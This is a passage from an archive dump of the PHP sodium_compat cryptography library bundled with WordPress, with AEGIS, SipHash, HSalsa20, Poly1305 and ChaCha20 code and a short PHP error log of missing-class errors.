            if (self::strlen($ai) < 32) {
                $ai = str_pad($ai, 32, "\0", STR_PAD_RIGHT);
            }
            $state->absorb($ai);
        }

        $msg = '';
        $cn = self::strlen($ct) & 31;
        $ct_blocks = self::strlen($ct) >> 5;
        for ($i = 0; $i < $ct_blocks; ++$i) {
            $msg .= $state->dec(self::substr($ct, $i << 5, 32));
        }
        if ($cn) {
            $start = $ct_blocks << 5;
            $msg .= $state->decPartial(self::substr($ct, $start, $cn));
        }
        $expected_tag = $state->finalize(
            self::strlen($ad) << 3,
            self::strlen($msg) << 3
        );
        if (!self::hashEquals($expected_tag, $tag)) {
            try {
                // The RFC says to erase msg, so we shall try:
                ParagonIE_Sodium_Compat::memzero($msg);
            } catch (SodiumException $ex) {
                // Do nothing if we cannot memzero
            }
            throw new SodiumException('verification failed');
        }
        return $msg;
    }

    /**
     * @param string $msg
     * @param string $ad
     * @param string $key
     * @param string $nonce
     * @return array
     *
     * @throws SodiumException
     */
    public static function encrypt($msg, $ad, $key, $nonce)
    {
        $state = self::init($key, $nonce);
        // ad_blocks = Split(ZeroPad(ad, 256), 256)
        // for ai in ad_blocks:
        //     Absorb(ai)
        $ad_len = self::strlen($ad);
        $msg_len = self::strlen($msg);
        $ad_blocks = ($ad_len + 31) >> 5;
        for ($i = 0; $i < $ad_blocks; ++$i) {
            $ai = self::substr($ad, $i << 5, 32);
            if (self::strlen($ai) < 32) {
                $ai = str_pad($ai, 32, "\0", STR_PAD_RIGHT);
            }
            $state->absorb($ai);
        }

        // msg_blocks = Split(ZeroPad(msg, 256), 256)
        // for xi in msg_blocks:
        //     ct = ct || Enc(xi)
        $ct = '';
        $msg_blocks = ($msg_len + 31) >> 5;
        for ($i = 0; $i < $msg_blocks; ++$i) {
            $xi = self::substr($msg, $i << 5, 32);
            if (self::strlen($xi) < 32) {
                $xi = str_pad($xi, 32, "\0", STR_PAD_RIGHT);
            }
            $ct .= $state->enc($xi);
        }
        // tag = Finalize(|ad|, |msg|)
        // ct = Truncate(ct, |msg|)
        $tag = $state->finalize(
            $ad_len << 3,
            $msg_len << 3
        );
        // return ct and tag
        return array(
            self::substr($ct, 0, $msg_len),
            $tag
        );
    }

    /**
     * @param string $key
     * @param string $nonce
     * @return ParagonIE_Sodium_Core_AEGIS_State128L
     */
    public static function init($key, $nonce)
    {
        return ParagonIE_Sodium_Core_AEGIS_State128L::init($key, $nonce);
    }
}
Core/SipHash.php000064400000020051151024233030007473 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_SipHash', false)) {
    return;
}

/**
 * Class ParagonIE_SodiumCompat_Core_SipHash
 *
 * Only uses 32-bit arithmetic, while the original SipHash used 64-bit integers
 */
class ParagonIE_Sodium_Core_SipHash extends ParagonIE_Sodium_Core_Util
{
    /**
     * @internal You should not use this directly from another application
     *
     * @param int[] $v
     * @return int[]
     *
     */
    public static function sipRound(array $v)
    {
        # v0 += v1;
        list($v[0], $v[1]) = self::add(
            array($v[0], $v[1]),
            array($v[2], $v[3])
        );

        #  v1=ROTL(v1,13);
        list($v[2], $v[3]) = self::rotl_64((int) $v[2], (int) $v[3], 13);

        #  v1 ^= v0;
        $v[2] = (int) $v[2] ^ (int) $v[0];
        $v[3] = (int) $v[3] ^ (int) $v[1];

        #  v0=ROTL(v0,32);
        list($v[0], $v[1]) = self::rotl_64((int) $v[0], (int) $v[1], 32);

        # v2 += v3;
        list($v[4], $v[5]) = self::add(
            array((int) $v[4], (int) $v[5]),
            array((int) $v[6], (int) $v[7])
        );

        # v3=ROTL(v3,16);
        list($v[6], $v[7]) = self::rotl_64((int) $v[6], (int) $v[7], 16);

        #  v3 ^= v2;
        $v[6] = (int) $v[6] ^ (int) $v[4];
        $v[7] = (int) $v[7] ^ (int) $v[5];

        # v0 += v3;
        list($v[0], $v[1]) = self::add(
            array((int) $v[0], (int) $v[1]),
            array((int) $v[6], (int) $v[7])
        );

        # v3=ROTL(v3,21);
        list($v[6], $v[7]) = self::rotl_64((int) $v[6], (int) $v[7], 21);

        # v3 ^= v0;
        $v[6] = (int) $v[6] ^ (int) $v[0];
        $v[7] = (int) $v[7] ^ (int) $v[1];

        # v2 += v1;
        list($v[4], $v[5]) = self::add(
            array((int) $v[4], (int) $v[5]),
            array((int) $v[2], (int) $v[3])
        );

        # v1=ROTL(v1,17);
        list($v[2], $v[3]) = self::rotl_64((int) $v[2], (int) $v[3], 17);

        #  v1 ^= v2;;
        $v[2] = (int) $v[2] ^ (int) $v[4];
        $v[3] = (int) $v[3] ^ (int) $v[5];

        # v2=ROTL(v2,32)
        list($v[4], $v[5]) = self::rotl_64((int) $v[4], (int) $v[5], 32);

        return $v;
    }

    /**
     * Add two 32 bit integers representing a 64-bit integer.
     *
     * @internal You should not use this directly from another application
     *
     * @param int[] $a
     * @param int[] $b
     * @return array<int, mixed>
     */
    public static function add(array $a, array $b)
    {
        /** @var int $x1 */
        $x1 = $a[1] + $b[1];
        /** @var int $c */
        $c = $x1 >> 32; // Carry if ($a + $b) > 0xffffffff
        /** @var int $x0 */
        $x0 = $a[0] + $b[0] + $c;
        return array(
            $x0 & 0xffffffff,
            $x1 & 0xffffffff
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $int0
     * @param int $int1
     * @param int $c
     * @return array<int, mixed>
     */
    public static function rotl_64($int0, $int1, $c)
    {
        $int0 &= 0xffffffff;
        $int1 &= 0xffffffff;
        $c &= 63;
        if ($c === 32) {
            return array($int1, $int0);
        }
        if ($c > 31) {
            $tmp = $int1;
            $int1 = $int0;
            $int0 = $tmp;
            $c &= 31;
        }
        if ($c === 0) {
            return array($int0, $int1);
        }
        return array(
            0xffffffff & (
                ($int0 << $c)
                    |
                ($int1 >> (32 - $c))
            ),
            0xffffffff & (
                ($int1 << $c)
                    |
                ($int0 >> (32 - $c))
            ),
        );
    }

    /**
     * Implements Siphash-2-4 using only 32-bit numbers.
     *
     * When we split an int into two, the higher bits go to the lower index.
     * e.g. 0xDEADBEEFAB10C92D becomes [
     *     0 => 0xDEADBEEF,
     *     1 => 0xAB10C92D
     * ].
     *
     * @internal You should not use this directly from another application
     *
     * @param string $in
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sipHash24($in, $key)
    {
        $inlen = self::strlen($in);

        # /* "somepseudorandomlygeneratedbytes" */
        # u64 v0 = 0x736f6d6570736575ULL;
        # u64 v1 = 0x646f72616e646f6dULL;
        # u64 v2 = 0x6c7967656e657261ULL;
        # u64 v3 = 0x7465646279746573ULL;
        $v = array(
            0x736f6d65, // 0
            0x70736575, // 1
            0x646f7261, // 2
            0x6e646f6d, // 3
            0x6c796765, // 4
            0x6e657261, // 5
            0x74656462, // 6
            0x79746573  // 7
        );
        // v0 => $v[0], $v[1]
        // v1 => $v[2], $v[3]
        // v2 => $v[4], $v[5]
        // v3 => $v[6], $v[7]

        # u64 k0 = LOAD64_LE( k );
        # u64 k1 = LOAD64_LE( k + 8 );
        $k = array(
            self::load_4(self::substr($key, 4, 4)),
            self::load_4(self::substr($key, 0, 4)),
            self::load_4(self::substr($key, 12, 4)),
            self::load_4(self::substr($key, 8, 4))
        );
        // k0 => $k[0], $k[1]
        // k1 => $k[2], $k[3]

        # b = ( ( u64 )inlen ) << 56;
        $b = array(
            $inlen << 24,
            0
        );
        // See docblock for why the 0th index gets the higher bits.

        # v3 ^= k1;
        $v[6] ^= $k[2];
        $v[7] ^= $k[3];
        # v2 ^= k0;
        $v[4] ^= $k[0];
        $v[5] ^= $k[1];
        # v1 ^= k1;
        $v[2] ^= $k[2];
        $v[3] ^= $k[3];
        # v0 ^= k0;
        $v[0] ^= $k[0];
        $v[1] ^= $k[1];

        $left = $inlen;
        # for ( ; in != end; in += 8 )
        while ($left >= 8) {
            # m = LOAD64_LE( in );
            $m = array(
                self::load_4(self::substr($in, 4, 4)),
                self::load_4(self::substr($in, 0, 4))
            );

            # v3 ^= m;
            $v[6] ^= $m[0];
            $v[7] ^= $m[1];

            # SIPROUND;
            # SIPROUND;
            $v = self::sipRound($v);
            $v = self::sipRound($v);

            # v0 ^= m;
            $v[0] ^= $m[0];
            $v[1] ^= $m[1];

            $in = self::substr($in, 8);
            $left -= 8;
        }

        # switch( left )
        #  {
        #     case 7: b |= ( ( u64 )in[ 6] )  << 48;
        #     case 6: b |= ( ( u64 )in[ 5] )  << 40;
        #     case 5: b |= ( ( u64 )in[ 4] )  << 32;
        #     case 4: b |= ( ( u64 )in[ 3] )  << 24;
        #     case 3: b |= ( ( u64 )in[ 2] )  << 16;
        #     case 2: b |= ( ( u64 )in[ 1] )  <<  8;
        #     case 1: b |= ( ( u64 )in[ 0] ); break;
        #     case 0: break;
        # }
        switch ($left) {
            case 7:
                $b[0] |= self::chrToInt($in[6]) << 16;
            case 6:
                $b[0] |= self::chrToInt($in[5]) << 8;
            case 5:
                $b[0] |= self::chrToInt($in[4]);
            case 4:
                $b[1] |= self::chrToInt($in[3]) << 24;
            case 3:
                $b[1] |= self::chrToInt($in[2]) << 16;
            case 2:
                $b[1] |= self::chrToInt($in[1]) << 8;
            case 1:
                $b[1] |= self::chrToInt($in[0]);
            case 0:
                break;
        }
        // See docblock for why the 0th index gets the higher bits.

        # v3 ^= b;
        $v[6] ^= $b[0];
        $v[7] ^= $b[1];

        # SIPROUND;
        # SIPROUND;
        $v = self::sipRound($v);
        $v = self::sipRound($v);

        # v0 ^= b;
        $v[0] ^= $b[0];
        $v[1] ^= $b[1];

        // Flip the lower 8 bits of v2 which is ($v[4], $v[5]) in our implementation
        # v2 ^= 0xff;
        $v[5] ^= 0xff;

        # SIPROUND;
        # SIPROUND;
        # SIPROUND;
        # SIPROUND;
        $v = self::sipRound($v);
        $v = self::sipRound($v);
        $v = self::sipRound($v);
        $v = self::sipRound($v);

        # b = v0 ^ v1 ^ v2 ^ v3;
        # STORE64_LE( out, b );
        return  self::store32_le($v[1] ^ $v[3] ^ $v[5] ^ $v[7]) .
            self::store32_le($v[0] ^ $v[2] ^ $v[4] ^ $v[6]);
    }
}
Core/HSalsa20.php000064400000007131151024233030007455 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_HSalsa20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_HSalsa20
 */
abstract class ParagonIE_Sodium_Core_HSalsa20 extends ParagonIE_Sodium_Core_Salsa20
{
    /**
     * Calculate an hsalsa20 hash of a single block
     *
     * HSalsa20 doesn't have a counter and will never be used for more than
     * one block (used to derive a subkey for xsalsa20).
     *
     * @internal You should not use this directly from another application
     *
     * @param string $in
     * @param string $k
     * @param string|null $c
     * @return string
     * @throws TypeError
     */
    public static function hsalsa20($in, $k, $c = null)
    {
        if ($c === null) {
            $x0  = 0x61707865;
            $x5  = 0x3320646e;
            $x10 = 0x79622d32;
            $x15 = 0x6b206574;
        } else {
            $x0  = self::load_4(self::substr($c, 0, 4));
            $x5  = self::load_4(self::substr($c, 4, 4));
            $x10 = self::load_4(self::substr($c, 8, 4));
            $x15 = self::load_4(self::substr($c, 12, 4));
        }
        $x1  = self::load_4(self::substr($k, 0, 4));
        $x2  = self::load_4(self::substr($k, 4, 4));
        $x3  = self::load_4(self::substr($k, 8, 4));
        $x4  = self::load_4(self::substr($k, 12, 4));
        $x11 = self::load_4(self::substr($k, 16, 4));
        $x12 = self::load_4(self::substr($k, 20, 4));
        $x13 = self::load_4(self::substr($k, 24, 4));
        $x14 = self::load_4(self::substr($k, 28, 4));
        $x6  = self::load_4(self::substr($in, 0, 4));
        $x7  = self::load_4(self::substr($in, 4, 4));
        $x8  = self::load_4(self::substr($in, 8, 4));
        $x9  = self::load_4(self::substr($in, 12, 4));

        for ($i = self::ROUNDS; $i > 0; $i -= 2) {
            $x4 ^= self::rotate($x0 + $x12, 7);
            $x8 ^= self::rotate($x4 + $x0, 9);
            $x12 ^= self::rotate($x8 + $x4, 13);
            $x0 ^= self::rotate($x12 + $x8, 18);
            $x9 ^= self::rotate($x5 + $x1, 7);
            $x13 ^= self::rotate($x9 + $x5, 9);
            $x1 ^= self::rotate($x13 + $x9, 13);
            $x5 ^= self::rotate($x1 + $x13, 18);
            $x14 ^= self::rotate($x10 + $x6, 7);
            $x2 ^= self::rotate($x14 + $x10, 9);
            $x6 ^= self::rotate($x2 + $x14, 13);
            $x10 ^= self::rotate($x6 + $x2, 18);
            $x3 ^= self::rotate($x15 + $x11, 7);
            $x7 ^= self::rotate($x3 + $x15, 9);
            $x11 ^= self::rotate($x7 + $x3, 13);
            $x15 ^= self::rotate($x11 + $x7, 18);
            $x1 ^= self::rotate($x0 + $x3, 7);
            $x2 ^= self::rotate($x1 + $x0, 9);
            $x3 ^= self::rotate($x2 + $x1, 13);
            $x0 ^= self::rotate($x3 + $x2, 18);
            $x6 ^= self::rotate($x5 + $x4, 7);
            $x7 ^= self::rotate($x6 + $x5, 9);
            $x4 ^= self::rotate($x7 + $x6, 13);
            $x5 ^= self::rotate($x4 + $x7, 18);
            $x11 ^= self::rotate($x10 + $x9, 7);
            $x8 ^= self::rotate($x11 + $x10, 9);
            $x9 ^= self::rotate($x8 + $x11, 13);
            $x10 ^= self::rotate($x9 + $x8, 18);
            $x12 ^= self::rotate($x15 + $x14, 7);
            $x13 ^= self::rotate($x12 + $x15, 9);
            $x14 ^= self::rotate($x13 + $x12, 13);
            $x15 ^= self::rotate($x14 + $x13, 18);
        }

        return self::store32_le($x0) .
            self::store32_le($x5) .
            self::store32_le($x10) .
            self::store32_le($x15) .
            self::store32_le($x6) .
            self::store32_le($x7) .
            self::store32_le($x8) .
            self::store32_le($x9);
    }
}
Core/Poly1305/error_log000064400000002720151024233030010577 0ustar00[28-Oct-2025 03:35:22 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[01-Nov-2025 19:29:39 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[03-Nov-2025 21:59:29 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[03-Nov-2025 22:00:14 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
Core/Poly1305/State.php000064400000031160151024233030010453 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_Poly1305_State', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Poly1305_State
 */
class ParagonIE_Sodium_Core_Poly1305_State extends ParagonIE_Sodium_Core_Util
{
    /**
     * @var array<int, int>
     */
    protected $buffer = array();

    /**
     * @var bool
     */
    protected $final = false;

    /**
     * @var array<int, int>
     */
    public $h;

    /**
     * @var int
     */
    protected $leftover = 0;

    /**
     * @var int[]
     */
    public $r;

    /**
     * @var int[]
     */
    public $pad;

    /**
     * ParagonIE_Sodium_Core_Poly1305_State constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $key
     * @throws InvalidArgumentException
     * @throws TypeError
     */
    public function __construct($key = '')
    {
        if (self::strlen($key) < 32) {
            throw new InvalidArgumentException(
                'Poly1305 requires a 32-byte key'
            );
        }
        /* r &= 0xffffffc0ffffffc0ffffffc0fffffff */
        $this->r = array(
            (int) ((self::load_4(self::substr($key, 0, 4))) & 0x3ffffff),
            (int) ((self::load_4(self::substr($key, 3, 4)) >> 2) & 0x3ffff03),
            (int) ((self::load_4(self::substr($key, 6, 4)) >> 4) & 0x3ffc0ff),
            (int) ((self::load_4(self::substr($key, 9, 4)) >> 6) & 0x3f03fff),
            (int) ((self::load_4(self::substr($key, 12, 4)) >> 8) & 0x00fffff)
        );

        /* h = 0 */
        $this->h = array(0, 0, 0, 0, 0);

        /* save pad for later */
        $this->pad = array(
            self::load_4(self::substr($key, 16, 4)),
            self::load_4(self::substr($key, 20, 4)),
            self::load_4(self::substr($key, 24, 4)),
            self::load_4(self::substr($key, 28, 4)),
        );

        $this->leftover = 0;
        $this->final = false;
    }

    /**
     * Zero internal buffer upon destruction
     */
    public function __destruct()
    {
        $this->r[0] ^= $this->r[0];
        $this->r[1] ^= $this->r[1];
        $this->r[2] ^= $this->r[2];
        $this->r[3] ^= $this->r[3];
        $this->r[4] ^= $this->r[4];
        $this->h[0] ^= $this->h[0];
        $this->h[1] ^= $this->h[1];
        $this->h[2] ^= $this->h[2];
        $this->h[3] ^= $this->h[3];
        $this->h[4] ^= $this->h[4];
        $this->pad[0] ^= $this->pad[0];
        $this->pad[1] ^= $this->pad[1];
        $this->pad[2] ^= $this->pad[2];
        $this->pad[3] ^= $this->pad[3];
        $this->leftover = 0;
        $this->final = true;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public function update($message = '')
    {
        $bytes = self::strlen($message);
        if ($bytes < 1) {
            return $this;
        }

        /* handle leftover */
        if ($this->leftover) {
            $want = ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE - $this->leftover;
            if ($want > $bytes) {
                $want = $bytes;
            }
            for ($i = 0; $i < $want; ++$i) {
                $mi = self::chrToInt($message[$i]);
                $this->buffer[$this->leftover + $i] = $mi;
            }
            // We snip off the leftmost bytes.
            $message = self::substr($message, $want);
            $bytes = self::strlen($message);
            $this->leftover += $want;
            if ($this->leftover < ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) {
                // We still don't have enough to run $this->blocks()
                return $this;
            }

            $this->blocks(
                self::intArrayToString($this->buffer),
                ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE
            );
            $this->leftover = 0;
        }

        /* process full blocks */
        if ($bytes >= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) {
            /** @var int $want */
            $want = $bytes & ~(ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE - 1);
            if ($want >= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) {
                $block = self::substr($message, 0, $want);
                if (self::strlen($block) >= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) {
                    $this->blocks($block, $want);
                    $message = self::substr($message, $want);
                    $bytes = self::strlen($message);
                }
            }
        }

        /* store leftover */
        if ($bytes) {
            for ($i = 0; $i < $bytes; ++$i) {
                $mi = self::chrToInt($message[$i]);
                $this->buffer[$this->leftover + $i] = $mi;
            }
            $this->leftover = (int) $this->leftover + $bytes;
        }
        return $this;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param int $bytes
     * @return self
     * @throws TypeError
     */
    public function blocks($message, $bytes)
    {
        if (self::strlen($message) < 16) {
            $message = str_pad($message, 16, "\x00", STR_PAD_RIGHT);
        }
        /** @var int $hibit */
        $hibit = $this->final ? 0 : 1 << 24; /* 1 << 128 */
        $r0 = (int) $this->r[0];
        $r1 = (int) $this->r[1];
        $r2 = (int) $this->r[2];
        $r3 = (int) $this->r[3];
        $r4 = (int) $this->r[4];

        $s1 = self::mul($r1, 5, 3);
        $s2 = self::mul($r2, 5, 3);
        $s3 = self::mul($r3, 5, 3);
        $s4 = self::mul($r4, 5, 3);

        $h0 = $this->h[0];
        $h1 = $this->h[1];
        $h2 = $this->h[2];
        $h3 = $this->h[3];
        $h4 = $this->h[4];

        while ($bytes >= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) {
            /* h += m[i] */
            $h0 +=  self::load_4(self::substr($message, 0, 4))       & 0x3ffffff;
            $h1 += (self::load_4(self::substr($message, 3, 4)) >> 2) & 0x3ffffff;
            $h2 += (self::load_4(self::substr($message, 6, 4)) >> 4) & 0x3ffffff;
            $h3 += (self::load_4(self::substr($message, 9, 4)) >> 6) & 0x3ffffff;
            $h4 += (self::load_4(self::substr($message, 12, 4)) >> 8) | $hibit;

            /* h *= r */
            $d0 = (
                self::mul($h0, $r0, 27) +
                self::mul($s4, $h1, 27) +
                self::mul($s3, $h2, 27) +
                self::mul($s2, $h3, 27) +
                self::mul($s1, $h4, 27)
            );

            $d1 = (
                self::mul($h0, $r1, 27) +
                self::mul($h1, $r0, 27) +
                self::mul($s4, $h2, 27) +
                self::mul($s3, $h3, 27) +
                self::mul($s2, $h4, 27)
            );

            $d2 = (
                self::mul($h0, $r2, 27) +
                self::mul($h1, $r1, 27) +
                self::mul($h2, $r0, 27) +
                self::mul($s4, $h3, 27) +
                self::mul($s3, $h4, 27)
            );

            $d3 = (
                self::mul($h0, $r3, 27) +
                self::mul($h1, $r2, 27) +
                self::mul($h2, $r1, 27) +
                self::mul($h3, $r0, 27) +
                self::mul($s4, $h4, 27)
            );

            $d4 = (
                self::mul($h0, $r4, 27) +
                self::mul($h1, $r3, 27) +
                self::mul($h2, $r2, 27) +
                self::mul($h3, $r1, 27) +
                self::mul($h4, $r0, 27)
            );

            /* (partial) h %= p */
            /** @var int $c */
            $c = $d0 >> 26;
            /** @var int $h0 */
            $h0 = $d0 & 0x3ffffff;
            $d1 += $c;

            /** @var int $c */
            $c = $d1 >> 26;
            /** @var int $h1 */
            $h1 = $d1 & 0x3ffffff;
            $d2 += $c;

            /** @var int $c */
            $c = $d2 >> 26;
            /** @var int $h2  */
            $h2 = $d2 & 0x3ffffff;
            $d3 += $c;

            /** @var int $c */
            $c = $d3 >> 26;
            /** @var int $h3 */
            $h3 = $d3 & 0x3ffffff;
            $d4 += $c;

            /** @var int $c */
            $c = $d4 >> 26;
            /** @var int $h4 */
            $h4 = $d4 & 0x3ffffff;
            $h0 += (int) self::mul($c, 5, 3);

            /** @var int $c */
            $c = $h0 >> 26;
            /** @var int $h0 */
            $h0 &= 0x3ffffff;
            $h1 += $c;

            // Chop off the left 32 bytes.
            $message = self::substr(
                $message,
                ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE
            );
            $bytes -= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE;
        }

        $this->h = array(
            (int) ($h0 & 0xffffffff),
            (int) ($h1 & 0xffffffff),
            (int) ($h2 & 0xffffffff),
            (int) ($h3 & 0xffffffff),
            (int) ($h4 & 0xffffffff)
        );
        return $this;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @return string
     * @throws TypeError
     */
    public function finish()
    {
        /* process the remaining block */
        if ($this->leftover) {
            $i = $this->leftover;
            $this->buffer[$i++] = 1;
            for (; $i < ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE; ++$i) {
                $this->buffer[$i] = 0;
            }
            $this->final = true;
            $this->blocks(
                self::substr(
                    self::intArrayToString($this->buffer),
                    0,
                    ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE
                ),
                ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE
            );
        }

        $h0 = (int) $this->h[0];
        $h1 = (int) $this->h[1];
        $h2 = (int) $this->h[2];
        $h3 = (int) $this->h[3];
        $h4 = (int) $this->h[4];

        /** @var int $c */
        $c = $h1 >> 26;
        /** @var int $h1 */
        $h1 &= 0x3ffffff;
        /** @var int $h2 */
        $h2 += $c;
        /** @var int $c */
        $c = $h2 >> 26;
        /** @var int $h2 */
        $h2 &= 0x3ffffff;
        $h3 += $c;
        /** @var int $c */
        $c = $h3 >> 26;
        $h3 &= 0x3ffffff;
        $h4 += $c;
        /** @var int $c */
        $c = $h4 >> 26;
        $h4 &= 0x3ffffff;
        /** @var int $h0 */
        $h0 += self::mul($c, 5, 3);
        /** @var int $c */
        $c = $h0 >> 26;
        /** @var int $h0 */
        $h0 &= 0x3ffffff;
        /** @var int $h1 */
        $h1 += $c;

        /* compute h + -p */
        /** @var int $g0 */
        $g0 = $h0 + 5;
        /** @var int $c */
        $c = $g0 >> 26;
        /** @var int $g0 */
        $g0 &= 0x3ffffff;

        /** @var int $g1 */
        $g1 = $h1 + $c;
        /** @var int $c */
        $c = $g1 >> 26;
        $g1 &= 0x3ffffff;

        /** @var int $g2 */
        $g2 = $h2 + $c;
        /** @var int $c */
        $c = $g2 >> 26;
        /** @var int $g2 */
        $g2 &= 0x3ffffff;

        /** @var int $g3 */
        $g3 = $h3 + $c;
        /** @var int $c */
        $c = $g3 >> 26;
        /** @var int $g3 */
        $g3 &= 0x3ffffff;

        /** @var int $g4 */
        $g4 = ($h4 + $c - (1 << 26)) & 0xffffffff;

        /* select h if h < p, or h + -p if h >= p */
        /** @var int $mask */
        $mask = ($g4 >> 31) - 1;

        $g0 &= $mask;
        $g1 &= $mask;
        $g2 &= $mask;
        $g3 &= $mask;
        $g4 &= $mask;

        /** @var int $mask */
        $mask = ~$mask & 0xffffffff;
        /** @var int $h0 */
        $h0 = ($h0 & $mask) | $g0;
        /** @var int $h1 */
        $h1 = ($h1 & $mask) | $g1;
        /** @var int $h2 */
        $h2 = ($h2 & $mask) | $g2;
        /** @var int $h3 */
        $h3 = ($h3 & $mask) | $g3;
        /** @var int $h4 */
        $h4 = ($h4 & $mask) | $g4;

        /* h = h % (2^128) */
        /** @var int $h0 */
        $h0 = (($h0) | ($h1 << 26)) & 0xffffffff;
        /** @var int $h1 */
        $h1 = (($h1 >>  6) | ($h2 << 20)) & 0xffffffff;
        /** @var int $h2 */
        $h2 = (($h2 >> 12) | ($h3 << 14)) & 0xffffffff;
        /** @var int $h3 */
        $h3 = (($h3 >> 18) | ($h4 <<  8)) & 0xffffffff;

        /* mac = (h + pad) % (2^128) */
        $f = (int) ($h0 + $this->pad[0]);
        $h0 = (int) $f;
        $f = (int) ($h1 + $this->pad[1] + ($f >> 32));
        $h1 = (int) $f;
        $f = (int) ($h2 + $this->pad[2] + ($f >> 32));
        $h2 = (int) $f;
        $f = (int) ($h3 + $this->pad[3] + ($f >> 32));
        $h3 = (int) $f;

        return self::store32_le($h0 & 0xffffffff) .
            self::store32_le($h1 & 0xffffffff) .
            self::store32_le($h2 & 0xffffffff) .
            self::store32_le($h3 & 0xffffffff);
    }
}
Core/ChaCha20.php000064400000031206151024233030007411 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_ChaCha20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_ChaCha20
 */
class ParagonIE_Sodium_Core_ChaCha20 extends ParagonIE_Sodium_Core_Util
{
    /**
     * Bitwise left rotation
     *
     * @internal You should not use this directly from another application
     *
     * @param int $v
     * @param int $n
     * @return int
     */
    public static function rotate($v, $n)
    {
        $v &= 0xffffffff;
        $n &= 31;
        return (int) (
            0xffffffff & (
                ($v << $n)
                    |
                ($v >> (32 - $n))
            )
        );
    }

    /**
     * The ChaCha20 quarter round function. Works on four 32-bit integers.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $a
     * @param int $b
     * @param int $c
     * @param int $d
     * @return array<int, int>
     */
    protected static function quarterRound($a, $b, $c, $d)
    {
        # a = PLUS(a,b); d = ROTATE(XOR(d,a),16);
        /** @var int $a */
        $a = ($a + $b) & 0xffffffff;
        $d = self::rotate($d ^ $a, 16);

        # c = PLUS(c,d); b = ROTATE(XOR(b,c),12);
        /** @var int $c */
        $c = ($c + $d) & 0xffffffff;
        $b = self::rotate($b ^ $c, 12);

        # a = PLUS(a,b); d = ROTATE(XOR(d,a), 8);
        /** @var int $a */
        $a = ($a + $b) & 0xffffffff;
        $d = self::rotate($d ^ $a, 8);

        # c = PLUS(c,d); b = ROTATE(XOR(b,c), 7);
        /** @var int $c */
        $c = ($c + $d) & 0xffffffff;
        $b = self::rotate($b ^ $c, 7);
        return array((int) $a, (int) $b, (int) $c, (int) $d);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_ChaCha20_Ctx $ctx
     * @param string $message
     *
     * @return string
     * @throws TypeError
     * @throws SodiumException
     */
    public static function encryptBytes(
        ParagonIE_Sodium_Core_ChaCha20_Ctx $ctx,
        $message = ''
    ) {
        $bytes = self::strlen($message);

        /*
        j0 = ctx->input[0];
        j1 = ctx->input[1];
        j2 = ctx->input[2];
        j3 = ctx->input[3];
        j4 = ctx->input[4];
        j5 = ctx->input[5];
        j6 = ctx->input[6];
        j7 = ctx->input[7];
        j8 = ctx->input[8];
        j9 = ctx->input[9];
        j10 = ctx->input[10];
        j11 = ctx->input[11];
        j12 = ctx->input[12];
        j13 = ctx->input[13];
        j14 = ctx->input[14];
        j15 = ctx->input[15];
        */
        $j0  = (int) $ctx[0];
        $j1  = (int) $ctx[1];
        $j2  = (int) $ctx[2];
        $j3  = (int) $ctx[3];
        $j4  = (int) $ctx[4];
        $j5  = (int) $ctx[5];
        $j6  = (int) $ctx[6];
        $j7  = (int) $ctx[7];
        $j8  = (int) $ctx[8];
        $j9  = (int) $ctx[9];
        $j10 = (int) $ctx[10];
        $j11 = (int) $ctx[11];
        $j12 = (int) $ctx[12];
        $j13 = (int) $ctx[13];
        $j14 = (int) $ctx[14];
        $j15 = (int) $ctx[15];

        $c = '';
        for (;;) {
